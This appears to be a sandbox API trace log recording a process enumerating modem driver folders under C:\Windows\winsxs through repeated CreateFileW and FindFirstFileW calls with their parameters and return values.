	[0108.522] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttme.inf_31bf3856ad364e35_6.1.7600.16385_none_c33749118dbb2f7c\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.523] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttp.inf_31bf3856ad364e35_6.1.7600.16385_none_f3bd67b475e3e5c6" (normalized: "c:\\windows\\winsxs\\amd64_mdmnttp.inf_31bf3856ad364e35_6.1.7600.16385_none_f3bd67b475e3e5c6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.523] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttp.inf_31bf3856ad364e35_6.1.7600.16385_none_f3bd67b475e3e5c6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.523] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttp2.inf_31bf3856ad364e35_6.1.7600.16385_none_30292759e684c77e" (normalized: "c:\\windows\\winsxs\\amd64_mdmnttp2.inf_31bf3856ad364e35_6.1.7600.16385_none_30292759e684c77e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.523] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttp2.inf_31bf3856ad364e35_6.1.7600.16385_none_30292759e684c77e\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.524] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttte.inf_31bf3856ad364e35_6.1.7600.16385_none_01231bbe5f4a51a5" (normalized: "c:\\windows\\winsxs\\amd64_mdmnttte.inf_31bf3856ad364e35_6.1.7600.16385_none_01231bbe5f4a51a5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.524] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmnttte.inf_31bf3856ad364e35_6.1.7600.16385_none_01231bbe5f4a51a5\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.524] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmolic.inf_31bf3856ad364e35_6.1.7600.16385_none_5afe0c15d667b4c1" (normalized: "c:\\windows\\winsxs\\amd64_mdmolic.inf_31bf3856ad364e35_6.1.7600.16385_none_5afe0c15d667b4c1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.524] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmolic.inf_31bf3856ad364e35_6.1.7600.16385_none_5afe0c15d667b4c1\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.525] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmomrn3.inf_31bf3856ad364e35_6.1.7600.16385_none_a414a782fb3117b5" (normalized: "c:\\windows\\winsxs\\amd64_mdmomrn3.inf_31bf3856ad364e35_6.1.7600.16385_none_a414a782fb3117b5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.525] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmomrn3.inf_31bf3856ad364e35_6.1.7600.16385_none_a414a782fb3117b5\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.525] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmoptn.inf_31bf3856ad364e35_6.1.7600.16385_none_f529777b6f8a7d95" (normalized: "c:\\windows\\winsxs\\amd64_mdmoptn.inf_31bf3856ad364e35_6.1.7600.16385_none_f529777b6f8a7d95"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.525] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmoptn.inf_31bf3856ad364e35_6.1.7600.16385_none_f529777b6f8a7d95\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd3e268, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd3e268, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd3e268, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.526] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmosi.inf_31bf3856ad364e35_6.1.7600.16385_none_37b9cc32d2102a15" (normalized: "c:\\windows\\winsxs\\amd64_mdmosi.inf_31bf3856ad364e35_6.1.7600.16385_none_37b9cc32d2102a15"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.526] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmosi.inf_31bf3856ad364e35_6.1.7600.16385_none_37b9cc32d2102a15\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.526] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmpace.inf_31bf3856ad364e35_6.1.7600.16385_none_1fe2fc8d4a1d4f7d" (normalized: "c:\\windows\\winsxs\\amd64_mdmpace.inf_31bf3856ad364e35_6.1.7600.16385_none_1fe2fc8d4a1d4f7d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.526] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmpace.inf_31bf3856ad364e35_6.1.7600.16385_none_1fe2fc8d4a1d4f7d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.527] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmpenr.inf_31bf3856ad364e35_6.1.7600.16385_none_14e411db1f1fd8ef" (normalized: "c:\\windows\\winsxs\\amd64_mdmpenr.inf_31bf3856ad364e35_6.1.7600.16385_none_14e411db1f1fd8ef"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.527] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmpenr.inf_31bf3856ad364e35_6.1.7600.16385_none_14e411db1f1fd8ef\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.527] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmpin.inf_31bf3856ad364e35_6.1.7600.16385_none_cd27d545ef083ea5" (normalized: "c:\\windows\\winsxs\\amd64_mdmpin.inf_31bf3856ad364e35_6.1.7600.16385_none_cd27d545ef083ea5"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.527] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmpin.inf_31bf3856ad364e35_6.1.7600.16385_none_cd27d545ef083ea5\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.528] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmpn1.inf_31bf3856ad364e35_6.1.7600.16385_none_bc4acdcb7ef2250b" (normalized: "c:\\windows\\winsxs\\amd64_mdmpn1.inf_31bf3856ad364e35_6.1.7600.16385_none_bc4acdcb7ef2250b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.528] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmpn1.inf_31bf3856ad364e35_6.1.7600.16385_none_bc4acdcb7ef2250b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.528] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmpp.inf_31bf3856ad364e35_6.1.7600.16385_none_a9d2002feb81fa56" (normalized: "c:\\windows\\winsxs\\amd64_mdmpp.inf_31bf3856ad364e35_6.1.7600.16385_none_a9d2002feb81fa56"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.528] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmpp.inf_31bf3856ad364e35_6.1.7600.16385_none_a9d2002feb81fa56\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.529] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmpsion.inf_31bf3856ad364e35_6.1.7600.16385_none_5f62ca049c3c9107" (normalized: "c:\\windows\\winsxs\\amd64_mdmpsion.inf_31bf3856ad364e35_6.1.7600.16385_none_5f62ca049c3c9107"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.529] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmpsion.inf_31bf3856ad364e35_6.1.7600.16385_none_5f62ca049c3c9107\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.529] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmracal.inf_31bf3856ad364e35_6.1.7600.16385_none_94654f616d035e4d" (normalized: "c:\\windows\\winsxs\\amd64_mdmracal.inf_31bf3856ad364e35_6.1.7600.16385_none_94654f616d035e4d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.529] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmracal.inf_31bf3856ad364e35_6.1.7600.16385_none_94654f616d035e4d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.535] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmrock.inf_31bf3856ad364e35_6.1.7600.16385_none_706fd484cc8ca81b" (normalized: "c:\\windows\\winsxs\\amd64_mdmrock.inf_31bf3856ad364e35_6.1.7600.16385_none_706fd484cc8ca81b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.535] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmrock.inf_31bf3856ad364e35_6.1.7600.16385_none_706fd484cc8ca81b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.535] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmrock3.inf_31bf3856ad364e35_6.1.7600.16385_none_7b0648ec9d3a4bf4" (normalized: "c:\\windows\\winsxs\\amd64_mdmrock3.inf_31bf3856ad364e35_6.1.7600.16385_none_7b0648ec9d3a4bf4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.535] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmrock3.inf_31bf3856ad364e35_6.1.7600.16385_none_7b0648ec9d3a4bf4\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.536] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmrock4.inf_31bf3856ad364e35_6.1.7600.16385_none_7b8f5b21b658885d" (normalized: "c:\\windows\\winsxs\\amd64_mdmrock4.inf_31bf3856ad364e35_6.1.7600.16385_none_7b8f5b21b658885d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.536] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmrock4.inf_31bf3856ad364e35_6.1.7600.16385_none_7b8f5b21b658885d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.536] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmrock5.inf_31bf3856ad364e35_6.1.7600.16385_none_7c186d56cf76c4c6" (normalized: "c:\\windows\\winsxs\\amd64_mdmrock5.inf_31bf3856ad364e35_6.1.7600.16385_none_7c186d56cf76c4c6"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.536] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmrock5.inf_31bf3856ad364e35_6.1.7600.16385_none_7c186d56cf76c4c6\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.536] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsier.inf_31bf3856ad364e35_6.1.7600.16385_none_feb63cafc6f86b25" (normalized: "c:\\windows\\winsxs\\amd64_mdmsier.inf_31bf3856ad364e35_6.1.7600.16385_none_feb63cafc6f86b25"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.537] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsier.inf_31bf3856ad364e35_6.1.7600.16385_none_feb63cafc6f86b25\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.537] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsii64.inf_31bf3856ad364e35_6.1.7600.16385_none_24ad52dcc88bcf35" (normalized: "c:\\windows\\winsxs\\amd64_mdmsii64.inf_31bf3856ad364e35_6.1.7600.16385_none_24ad52dcc88bcf35"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.537] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsii64.inf_31bf3856ad364e35_6.1.7600.16385_none_24ad52dcc88bcf35\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.537] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsmart.inf_31bf3856ad364e35_6.1.7600.16385_none_775101986362762d" (normalized: "c:\\windows\\winsxs\\amd64_mdmsmart.inf_31bf3856ad364e35_6.1.7600.16385_none_775101986362762d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.538] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsmart.inf_31bf3856ad364e35_6.1.7600.16385_none_775101986362762d\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.538] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsonyu.inf_31bf3856ad364e35_6.1.7600.16385_none_50730731913a42a2" (normalized: "c:\\windows\\winsxs\\amd64_mdmsonyu.inf_31bf3856ad364e35_6.1.7600.16385_none_50730731913a42a2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.538] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsonyu.inf_31bf3856ad364e35_6.1.7600.16385_none_50730731913a42a2\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
	[0108.538] CreateFileW (lpFileName="C:\\Windows\\winsxs\\amd64_mdmsun1.inf_31bf3856ad364e35_6.1.7600.16385_none_1f7c98965ef22a0b" (normalized: "c:\\windows\\winsxs\\amd64_mdmsun1.inf_31bf3856ad364e35_6.1.7600.16385_none_1f7c98965ef22a0b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0108.539] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_mdmsun1.inf_31bf3856ad364e35_6.1.7600.16385_none_1f7c98965ef22a0b\\*", lpFindFileData=0x1278d97c | out: lpFindFileData=0x1278d97c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1bd643c9, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1bd643c9, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x1bd643c9, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7efd88
